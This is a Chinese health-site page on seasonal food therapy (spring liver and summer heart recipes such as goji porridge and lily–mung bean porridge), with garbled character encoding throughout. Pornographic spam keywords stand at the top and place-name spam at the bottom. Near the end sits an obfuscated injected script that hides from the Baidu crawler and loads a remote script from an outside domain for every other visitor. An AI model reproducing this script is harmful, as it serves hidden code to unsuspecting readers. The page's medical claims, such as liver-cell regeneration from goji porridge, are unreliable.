亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁 > 飲食 > 食物營養(yǎng) > 正文

烹飪營養(yǎng)與食療的方法

2017-07-11 15:51:41  來源:360常識網(wǎng)   熱度:
導(dǎo)語:如果是自己的烹飪方法不是很正確的話,也是會直接讓食物當(dāng)中的營養(yǎng)價值流失掉的,所以就會讓人們身體內(nèi)部吸收到的營養(yǎng)物質(zhì)變得更少,那樣的

如果是自己的烹飪方法不是很正確的話,也是會直接讓食物當(dāng)中的營養(yǎng)價值流失掉的,所以就會讓人們身體內(nèi)部吸收到的營養(yǎng)物質(zhì)變得更少,那樣的話無論是吃多有營養(yǎng)的菜肴都沒有辦法攝入足夠的營養(yǎng)成分,所以就一定要掌握好每道菜肴正確的烹飪方式,這樣才可以讓菜肴里面的營養(yǎng)不被輕易流失,而且還要注意根據(jù)季節(jié)的不同去搭配不一樣的食物。

1、 春宜養(yǎng)肝,適合春天服用的食療方

五臟之肝通四季之春,所以春宜養(yǎng)肝,飲食上要以具有保陰潛陽、清肝降火旺的食品為主,比如多吃菠菜、胡蘿卜、雪梨、蜂蜜、銀耳、百合、蓮子、芡實、山藥、薏米、花生、核桃、燕窩、豬肝等平性食物,少食辛辣油炸等食物。另外,由于春天萬物復(fù)蘇、氣溫上升,所以春天無須特別進(jìn)補。推薦春韭、枸杞粥、雞湯三款食療。

春韭

春韭為四季韭菜品質(zhì)之最,李時珍認(rèn)為韭菜“葉熱根溫,功用相同,生則辛而散血,熟則甘而補中,乃肝之菜也?!彼?,春季養(yǎng)肝護(hù)肝宜多吃春韭。

枸杞粥

枸杞粥,枸杞護(hù)肝明目,含有豐富的胡蘿卜素、多種維生素和鈣、鐵等對眼睛有益的營養(yǎng)物質(zhì),有 “明眼子”之稱。另外肝通目,肝血不足可引起視物昏化,也可作為枸杞護(hù)肝之佐證。用枸杞和粳米煲粥,有保肝護(hù)肝、促使肝細(xì)胞再生的良效。

雞湯

春季喝雞湯是補肝的最好選擇,五禽之中,雞應(yīng)于肝,所以春天喝雞湯有助于滋養(yǎng)肝血,最能養(yǎng)肝。

2、夏宜養(yǎng)心,適合夏天服用的食療方

五臟之心通四季之夏,所以夏宜養(yǎng)心。夏季萬物茂盛發(fā)達(dá),走向成熟。此時人體血液循環(huán)加劇,從而加重心臟負(fù)擔(dān),所以夏季養(yǎng)生在于養(yǎng)心?!稊z生消息論》中有云:“夏季更宜調(diào)息靜心,常如冰雪在心,炎熱亦于吾心少減,不可以熱為熱,更生熱矣?!毕募攫B(yǎng)心在飲食上要以清淡、易消化、富含維生素的食物為主,盡量少吃大魚大肉和油膩辛辣的食物。不妨多吃蓮子、豆制品、雞肉、瘦肉、芝麻、玉米,多喝牛奶等,既能補充營養(yǎng),又可以起到強心的作用。五臟之心通五色之赤,夏季養(yǎng)心還可多食赤色食物,推薦百合綠豆粥、蓮子羹、茯苓等。

百合綠豆粥

百合,性甘味寒,歸心、肺經(jīng),具有養(yǎng)陰潤肺,清心安神之功效。綠豆,性涼味甘,歸心、胃經(jīng),具清熱解毒,利尿、消暑除煩,止渴健胃之功效,夏天食用百合綠豆粥可養(yǎng)心降暑。

尤其是在春天的時候就更加的需要去滋補的,因為春季是會滋生出來非常多的病菌,如果不小心的進(jìn)行養(yǎng)生的話就很可能會引發(fā)一些并發(fā)癥,那么在春天里面就需要去喝雞湯的,這是非常好的一種滋補肝臟的方法,而且對于女性朋友們來說還可以起到補血的功效,所以才受到大家的喜愛。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
太和县| 巴彦县| 武陟县| 郎溪县| 南平市| 武平县| 拜城县| 萨嘎县| 乌什县| 芮城县| 寻乌县| 灯塔市| 大同县| 班戈县| 邵武市| 宜兰县| 扶沟县| 兴海县| 抚宁县| 贵德县| 湖口县| 吉木萨尔县| 黎川县| 会理县| 阿城市| 南川市| 金门县| 岑巩县| 弋阳县| 余庆县| 虎林市| 钟祥市| 林口县| 晋江市| 卫辉市| 汝州市| 琼海市| 望城县| 天全县| 迭部县| 江达县|